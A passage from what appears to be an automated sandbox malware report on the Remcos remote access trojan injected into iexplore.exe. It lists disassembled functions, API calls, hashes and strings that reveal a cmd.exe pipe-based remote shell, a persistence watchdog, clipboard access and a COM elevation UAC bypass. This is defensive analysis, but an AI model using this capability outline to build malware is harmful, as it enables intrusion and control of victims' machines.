                                            • Instruction ID: b5b01290aead076256688b5938d42e4b2a7c64905c3dece0b68445a47d4ef5f6
                                            • Opcode Fuzzy Hash: 362257cb831b64f560ca9c305cbafbf1ddd2a76c4c9bcde51592d12c0f33465e
                                            • Instruction Fuzzy Hash: 1F513A72680206AFFB258F64CC41EBF77AAEB44714F24462EFC14D6240EB38DC60875A
                                            Function 00448566 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 95 448566-44857a 96 448587-4485a2 LoadLibraryExW 95->96 97 44857c-448585 95->97 99 4485a4-4485ad GetLastError 96->99 100 4485cb-4485d1 96->100 98 4485de-4485e0 97->98 101 4485bc 99->101 102 4485af-4485ba LoadLibraryExW 99->102 103 4485d3-4485d4 FreeLibrary 100->103 104 4485da 100->104 105 4485be-4485c0 101->105 102->105 103->104 106 4485dc-4485dd 104->106 105->100 107 4485c2-4485c9 105->107 106->98 107->106
                                            APIs
                                            • LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,00000000,00000000,?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue), ref: 00448598
                                            • GetLastError.KERNEL32(?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7), ref: 004485A4
                                            • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000), ref: 004485B2
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: LibraryLoad$ErrorLast
                                            • String ID:
                                            • API String ID: 3177248105-0
                                            • Opcode ID: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                                            • Instruction ID: d5df962f837ff7629ef00c7a8b4dcab40ba3e58d8e4ddb8b40c265455ff02ab4
                                            • Opcode Fuzzy Hash: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                                            • Instruction Fuzzy Hash: AA012832602322FBD7214B289C4495B7798AB50B61B20053AFD05D3241DF34CD01CAE8
                                            Function 00448BB3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 108 448bb3-448bd5 call 4484ca 110 448bda-448be1 108->110 111 448be3-448c08 110->111 112 448c0a-448c24 call 448c3b LCMapStringW 110->112 116 448c2a-448c38 call 434fcb 111->116 112->116
                                            APIs
                                            • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,73E85006,00000001,?,0043CE55), ref: 00448C24
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: String
                                            • String ID: LCMapStringEx$PkGNG
                                            • API String ID: 2568140703-1065776982
                                            • Opcode ID: 20edb6311ff80fd52f273064eb78c9c2f4c40470f2fa2ad589d6478c135721a4
                                            • Instruction ID: 91dcaeff4e4508283399e99d6512adb219adb357de156da575c9a111b1dd59a7
                                            • Opcode Fuzzy Hash: 20edb6311ff80fd52f273064eb78c9c2f4c40470f2fa2ad589d6478c135721a4
                                            • Instruction Fuzzy Hash: 3F016532500209FBCF029F90DC01EEE7F62EF08351F10452AFE0925161CA3A8971AB99
                                            Function 0040D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 120 40d069-40d095 call 401fab CreateMutexA GetLastError
                                            APIs
                                            • CreateMutexA.KERNELBASE(00000000,00000001,00000000,0040EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0040D078
                                            • GetLastError.KERNEL32 ref: 0040D083
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateErrorLastMutex
                                            • String ID: SG
                                            • API String ID: 1925916568-3189917014
                                            • Opcode ID: 801f4fab6620dad4192684c1acb97daf4a6912092659b95b34e50827bd09c0e4
                                            • Instruction ID: 95155ffd2f5cf2c34283977deb482d2843c3ccfb5002447f486bda260673b364
                                            • Opcode Fuzzy Hash: 801f4fab6620dad4192684c1acb97daf4a6912092659b95b34e50827bd09c0e4
                                            • Instruction Fuzzy Hash: 18D012B0604701EBD7181770ED5975839959744702F40487AB50BD99F1CBAC88908519
                                            Function 0044EDC4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 123 44edc4-44edf8 GetCPInfo 124 44eeee-44eefb 123->124 125 44edfe 123->125 126 44ef01-44ef11 124->126 127 44ee00-44ee0a 125->127 128 44ef13-44ef1b 126->128 129 44ef1d-44ef24 126->129 127->127 130 44ee0c-44ee1f 127->130 131 44ef30-44ef32 128->131 132 44ef34 129->132 133 44ef26-44ef2d 129->133 134 44ee40-44ee42 130->134 137 44ef36-44ef45 131->137 132->137 133->131 135 44ee44-44ee7b call 45112c call 44ae66 134->135 136 44ee21-44ee28 134->136 148 44ee80-44eeab call 44ae66 135->148 140 44ee37-44ee39 136->140 137->126 139 44ef47-44ef57 call 434fcb 137->139 141 44ee2a-44ee2c 140->141 142 44ee3b-44ee3e 140->142 141->142 145 44ee2e-44ee36 141->145 142->134 145->140 151 44eead-44eeb7 148->151 152 44eec7-44eec9 151->152 153 44eeb9-44eec5 151->153 155 44eee0 152->155 156 44eecb-44eed0 152->156 154 44eed7-44eede 153->154 157 44eee7-44eeea 154->157 155->157 156->154 157->151 158 44eeec 157->158 158->139
                                            APIs
                                            • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0044EDE9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Info
                                            • String ID:
                                            • API String ID: 1807457897-3916222277
                                            • Opcode ID: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                                            • Instruction ID: 44bbd8f54034b75cb3f6f6e84f1b5a7d7ac270184ed4e74474e217fcd589b3ab
                                            • Opcode Fuzzy Hash: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                                            • Instruction Fuzzy Hash: 74411E705043489AEF218F65CC84AF7BBB9FF45308F2408EEE59A87142D2399E45DF65
                                            Function 00448710 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 159 448710-448732 call 4484ca 161 448737-44873e 159->161 162 448740-44874d 161->162 163 44874f TlsAlloc 161->163 164 448755-448763 call 434fcb 162->164 163->164
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Alloc
                                            • String ID: FlsAlloc
                                            • API String ID: 2773662609-671089009
                                            • Opcode ID: b4f4d605eb291f9a0e31a3fdb19c0b64c96dd805d6feba376a353fba0474839d
                                            • Instruction ID: c1fb2f6f3e96c04a711f36652bc0978b46922b6b0bac1ff16f6cb7e5114ce70e
                                            • Opcode Fuzzy Hash: b4f4d605eb291f9a0e31a3fdb19c0b64c96dd805d6feba376a353fba0474839d
                                            • Instruction Fuzzy Hash: 98E02B30640218E7D700AF65DC16A6EBB94CF48B12B20057FFD0557391DE786D0595DE
                                            Function 00438D94 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 169 438d94-438da9 call 438c73 171 438dae-438db5 169->171 172 438db7-438dc5 call 434b9c 171->172 173 438dc6-438dc8 TlsAlloc 171->173
                                            APIs
                                            • try_get_function.LIBVCRUNTIME ref: 00438DA9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: try_get_function
                                            • String ID: FlsAlloc
                                            • API String ID: 2742660187-671089009
                                            • Opcode ID: e021fd340f78405406aa158a48dee032b1434e518920f400754795e81f54e542
                                            • Instruction ID: 997240ade825b32cd49e327dc5ad0f79abc42783939d358afc793268dfa947f7
                                            • Opcode Fuzzy Hash: e021fd340f78405406aa158a48dee032b1434e518920f400754795e81f54e542
                                            • Instruction Fuzzy Hash: 1FD05B31B8172866861036D56C02B99F654CB45BF7F14106BFF0875293999D581451DE
                                            Function 0044F119 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 177 44f119-44f13d call 44ecec 180 44f14d-44f154 177->180 181 44f13f-44f148 call 44ed5f 177->181 183 44f157-44f15d 180->183 188 44f2fa-44f309 call 434fcb 181->188 185 44f163-44f16f 183->185 186 44f24d-44f26c call 436e90 183->186 185->183 189 44f171-44f177 185->189 194 44f26f-44f274 186->194 192 44f245-44f248 189->192 193 44f17d-44f183 189->193 197 44f2f9 192->197 193->192 196 44f189-44f195 IsValidCodePage 193->196 198 44f276-44f27b 194->198 199 44f2ab-44f2b5 194->199 196->192 200 44f19b-44f1a8 GetCPInfo 196->200 197->188 201 44f27d-44f283 198->201 202 44f2a8 198->202 199->194 205 44f2b7-44f2de call 44ecae 199->205 203 44f232-44f238 200->203 204 44f1ae-44f1cf call 436e90 200->204 206 44f29c-44f29e 201->206 202->199 203->192 207 44f23a-44f240 call 44ed5f 203->207 217 44f1d1-44f1d8 204->217 218 44f222 204->218 219 44f2df-44f2ee 205->219 210 44f285-44f28b 206->210 211 44f2a0-44f2a6 206->211 221 44f2f6-44f2f7 207->221 210->211 215 44f28d-44f298 210->215 211->198 211->202 215->206 222 44f1da-44f1df 217->222 223 44f1fb-44f1fe 217->223 220 44f225-44f22d 218->220 219->219 224 44f2f0-44f2f1 call 44edc4 219->224 220->224 221->197 222->223 227 44f1e1-44f1e7 222->227 226 44f203-44f20a 223->226 224->221 226->226 229 44f20c-44f220 call 44ecae 226->229 228 44f1ef-44f1f1 227->228 230 44f1f3-44f1f9 228->230 231 44f1e9-44f1ee 228->231 229->220 230->222 230->223 231->228
                                            APIs
                                              • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                                            • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0044EFBA,?,00000000), ref: 0044F18D
                                            • GetCPInfo.KERNEL32(00000000,0044EFBA,?,?,?,0044EFBA,?,00000000), ref: 0044F1A0
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CodeInfoPageValid
                                            • String ID:
                                            • API String ID: 546120528-0
                                            • Opcode ID: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                                            • Instruction ID: 3b7bf12515eb554c774b4e527f81d40cffab4a6430697902d987c8214247c1f3
                                            • Opcode Fuzzy Hash: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                                            • Instruction Fuzzy Hash: BB5116749002469EFB24CF76C8816BBBBE5FF41304F1444BFD08687251D6BE994ACB99
                                            Function 0044EF58 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 234 44ef58-44ef82 call 448215 call 44f077 call 44ecec 241 44ef84-44ef86 234->241 242 44ef88-44ef9d call 446137 234->242 243 44efdb-44efde 241->243 246 44efcd 242->246 247 44ef9f-44efb5 call 44f119 242->247 249 44efcf-44efda call 446782 246->249 250 44efba-44efc0 247->250 249->243 252 44efc2-44efc7 call 4405dd 250->252 253 44efdf-44efe3 250->253 252->246 256 44efe5 call 444636 253->256 257 44efea-44eff5 253->257 256->257 259 44eff7-44f001 257->259 260 44f00c-44f026 257->260 259->260 262 44f003-44f00b call 446782 259->262 260->249 263 44f028-44f02f 260->263 262->260 263->249 265 44f031-44f048 call 44ebc2 263->265 265->249 269 44f04a-44f054 265->269 269->249
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                              • Part of subcall function 0044F077: _abort.LIBCMT ref: 0044F0A9
                                              • Part of subcall function 0044F077: _free.LIBCMT ref: 0044F0DD
                                              • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                                            • _free.LIBCMT ref: 0044EFD0
                                            • _free.LIBCMT ref: 0044F006
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorLast_abort
                                            • String ID:
                                            • API String ID: 2991157371-0
                                            • Opcode ID: baf0a310567cc30cb88d0d4a2d208f706047bc877cc458132e60af230d18bea0
                                            • Instruction ID: 3a29b68b49955ca98559fee15c42126097606514ccea0e67eec2104835090475
                                            • Opcode Fuzzy Hash: baf0a310567cc30cb88d0d4a2d208f706047bc877cc458132e60af230d18bea0
                                            • Instruction Fuzzy Hash: FD31D531904104BFFB10EB6AD440B9EB7E4FF40329F2540AFE5149B2A1DB399D45CB48
                                            Function 004484CA Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 270 4484ca-4484f4 271 4484f6-4484f8 270->271 272 44855f 270->272 273 4484fe-448504 271->273 274 4484fa-4484fc 271->274 275 448561-448565 272->275 276 448506-448508 call 448566 273->276 277 448520 273->277 274->275 280 44850d-448510 276->280 279 448522-448524 277->279 281 448526-448534 GetProcAddress 279->281 282 44854f-44855d 279->282 283 448541-448547 280->283 284 448512-448518 280->284 285 448536-44853f call 43436e 281->285 286 448549 281->286 282->272 283->279 284->276 287 44851a 284->287 285->274 286->282 287->277
                                            APIs
                                            • GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7,00000000), ref: 0044852A
                                            • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00448537
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressProc__crt_fast_encode_pointer
                                            • String ID:
                                            • API String ID: 2279764990-0
                                            • Opcode ID: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                                            • Instruction ID: 198cd69cd453a5762926ca534f03dc7b1e1ac857a4a5158ec5eb6717dc05f104
                                            • Opcode Fuzzy Hash: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                                            • Instruction Fuzzy Hash: C3113A37A00131AFEB21DE1CDC4195F7391EB80724716452AFC08AB354DF34EC4186D8
                                            Function 0043A3EC Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 290 43a3ec-43a3f1 call 438d94 292 43a3f6-43a3ff 290->292 293 43a401-43a403 292->293 294 43a404-43a413 call 438e42 292->294 297 43a415-43a41a call 43a41f 294->297 298 43a41c-43a41e 294->298 297->293
                                            APIs
                                              • Part of subcall function 00438D94: try_get_function.LIBVCRUNTIME ref: 00438DA9
                                            • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A40A
                                            • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 0043A415
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                                            • String ID:
                                            • API String ID: 806969131-0
                                            • Opcode ID: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                                            • Instruction ID: 13a2799ba917d8b657c14e130d7338f5d7a652e6d8bc03527a2a5cb893e190b1
                                            • Opcode Fuzzy Hash: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                                            • Instruction Fuzzy Hash: 23D0A920088310241C14A3792C0F19B53442A3A7BCF70726FFAF4861C3EEDC8062612F

                                            Non-executed Functions

                                            Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __Init_thread_footer.LIBCMT ref: 004056E6
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            • __Init_thread_footer.LIBCMT ref: 00405723
                                            • CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660BC,00000000), ref: 004057B6
                                            • CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
                                            • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
                                            • Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
                                            • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058BC
                                            • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9
                                              • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                            • WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90), ref: 004059E4
                                            • Sleep.KERNEL32(00000064,00000062,004660A4), ref: 004059FE
                                            • TerminateProcess.KERNEL32(00000000), ref: 00405A17
                                            • CloseHandle.KERNEL32 ref: 00405A23
                                            • CloseHandle.KERNEL32 ref: 00405A2B
                                            • CloseHandle.KERNEL32 ref: 00405A3D
                                            • CloseHandle.KERNEL32 ref: 00405A45
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                                            • String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
                                            • API String ID: 2994406822-18413064
                                            • Opcode ID: 17955cd63720edcbfcfcd3820b33dd0003a4590f15552dc644d35ad82fd962e8
                                            • Instruction ID: 70e6a120cd26ef4d63fea04585a98dfb86eec3f3f3d93349c630b188a9e88b71
                                            • Opcode Fuzzy Hash: 17955cd63720edcbfcfcd3820b33dd0003a4590f15552dc644d35ad82fd962e8
                                            • Instruction Fuzzy Hash: 8891E471604604AFD711FB36ED42A6F369AEB84308F01443FF989A62E2DB7D9C448B5D
                                            Function 004120F7 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentProcessId.KERNEL32 ref: 00412106
                                              • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                              • Part of subcall function 00413877: RegSetValueExA.ADVAPI32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                                              • Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4), ref: 004138AB
                                            • OpenMutexA.KERNEL32 ref: 00412146
                                            • CloseHandle.KERNEL32(00000000), ref: 00412155
                                            • CreateThread.KERNEL32(00000000,00000000,004127EE,00000000,00000000,00000000), ref: 004121AB
                                            • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041241A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
                                            • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
                                            • API String ID: 3018269243-13974260
                                            • Opcode ID: d6daba7efe88dd7c886cc9b50d5ab07a0a3d3aefa5ec7567085e39cb97412374
                                            • Instruction ID: 8205490d34a3093c97c97cf0412c87f535f0d81ed9353c04b1464aab831027f3
                                            • Opcode Fuzzy Hash: d6daba7efe88dd7c886cc9b50d5ab07a0a3d3aefa5ec7567085e39cb97412374
                                            • Instruction Fuzzy Hash: 2671813160430167C614FB72CD579AE73A4AF90308F50057FB546A61E2FFBC9949C69E
                                            Function 004168C1 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenClipboard.USER32 ref: 004168C2
                                            • EmptyClipboard.USER32 ref: 004168D0
                                            • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004168F0
                                            • GlobalLock.KERNEL32 ref: 004168F9
                                            • GlobalUnlock.KERNEL32(00000000), ref: 0041692F
                                            • SetClipboardData.USER32 ref: 00416938
                                            • CloseClipboard.USER32 ref: 00416955
                                            • OpenClipboard.USER32 ref: 0041695C
                                            • GetClipboardData.USER32 ref: 0041696C
                                            • GlobalLock.KERNEL32 ref: 00416975
                                            • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                                            • CloseClipboard.USER32 ref: 00416984
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                                            • String ID: !D@
                                            • API String ID: 3520204547-604454484
                                            • Opcode ID: 3da19db2da9e38382dfa1a35b9112d29995025b8f82a0e1631b12ced5ccb0bf8
                                            • Instruction ID: 9e7c9e91df33a813dd3aefbd505e3631e00017b2d00f6ad0929271c723fa7fba
                                            • Opcode Fuzzy Hash: 3da19db2da9e38382dfa1a35b9112d29995025b8f82a0e1631b12ced5ccb0bf8
                                            • Instruction Fuzzy Hash: 9F212171604301DBD714BB71DC5DABE36A9AF88746F40043EF946921E2EF3C8D45C66A
                                            Function 004074FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON
                                            Download Yara Rule
                                            APIs
                                            • _wcslen.LIBCMT ref: 00407521
                                            • CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Object_wcslen
                                            • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                                            • API String ID: 240030777-3166923314
                                            • Opcode ID: a3f0521951bb9342bb967e70cc438d07290dcccf7f3efa3b8b817ec6fb2293fa
                                            • Instruction ID: 36c1a35fc662e139fbe0c3856e6c09b73c1590006896ac343f6f9e6a2f87480d
                                            • Opcode Fuzzy Hash: a3f0521951bb9342bb967e70cc438d07290dcccf7f3efa3b8b817ec6fb2293fa
                                            • Instruction Fuzzy Hash: 1D115172D04218BAD710E6959C45ADEB7A89B08714F15007BF904B2282E77CAA4486BA
                                            Function 0041A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A75E
                                            • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A7AD
                                            • GetLastError.KERNEL32 ref: 0041A7BB
                                            • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A7F3
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                            • String ID:
                                            • API String ID: 3587775597-0
                                            • Opcode ID: be0ddaf329941570a94382f075e84e8113faff717d4b3500a0ac57519a03df9c
                                            • Instruction ID: 0905bbee584710e72bd43cf86ffd47af08151029a50ddcda7611e9b1cb6672f7
                                            • Opcode Fuzzy Hash: be0ddaf329941570a94382f075e84e8113faff717d4b3500a0ac57519a03df9c
                                            • Instruction Fuzzy Hash: A1815F71104305ABC304EB61D885DAFB7A8FF94749F50092FF585521A2EF78EE48CB9A
                                            Function 00452610 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281
                                            • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045271C
                                            • IsValidCodePage.KERNEL32(00000000), ref: 00452777
                                            • IsValidLocale.KERNEL32(?,00000001), ref: 00452786
                                            • GetLocaleInfoW.KERNEL32(?,00001001,lJD,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 004527CE
                                            • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 004527ED
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                            • String ID: lJD$lJD$lJD
                                            • API String ID: 745075371-479184356
                                            • Opcode ID: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                                            • Instruction ID: 5597d49bf91f8be5c1e88387600e3254545b136a20640e737b6730ed74bf2304
